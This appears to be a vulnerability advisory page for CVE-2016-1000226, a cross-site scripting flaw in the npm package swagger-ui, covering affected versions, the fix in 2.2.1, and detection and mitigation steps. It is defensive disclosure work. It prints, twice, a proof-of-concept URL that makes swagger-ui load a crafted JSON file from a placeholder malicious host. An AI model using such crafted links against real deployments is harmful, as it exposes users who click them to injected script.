How severe is CVE-2016-1000226?

No CVSS score has been assigned to CVE-2016-1000226 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2016-1000226?

CVE-2016-1000226 affects the following packages: swagger-ui (npm). Ecosystems affected: npm.

How do I fix CVE-2016-1000226?

Update swagger-ui to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2016-1000226 is resolved across your whole dependency graph.

How do I detect CVE-2016-1000226 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for swagger-ui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2016-1000226 if there is no patch (or I can't update yet)?

Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Is CVE-2016-1000226 actively exploited in the wild?

No public exploit code has been indexed for CVE-2016-1000226 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was CVE-2016-1000226 published, and has it been updated?

CVE-2016-1000226 was published on September 1, 2020 and was last updated on November 8, 2023. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

CVE-2016-1000226 — swagger-ui

Fix: swagger-api/swagger-ui#1867

CVE-2016-1000226 is a security vulnerability in swagger-ui. A fix is available for swagger-ui — see the affected versions and patch details below.

Cross-Site Scripting in swagger-ui

Published

Sep 1, 2020

Updated

Nov 8, 2023

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 8, 2023 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

167other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

swagger-uinpm

170Kdownloads / week

Description

Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.

Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.

Proof of Concept

http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json

Recommendation

Update to version 2.2.1 or later.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`swagger-ui`	all versions	2.2.1`npm install swagger-ui@2.2.1`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for swagger-ui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update swagger-ui to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2016-1000226 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API. Additionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link. ## Proof of Concept ``` http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json ```` ## Recommendation Update to version 2.2.1 or later.

O3 Security · Impact-Aware SCA

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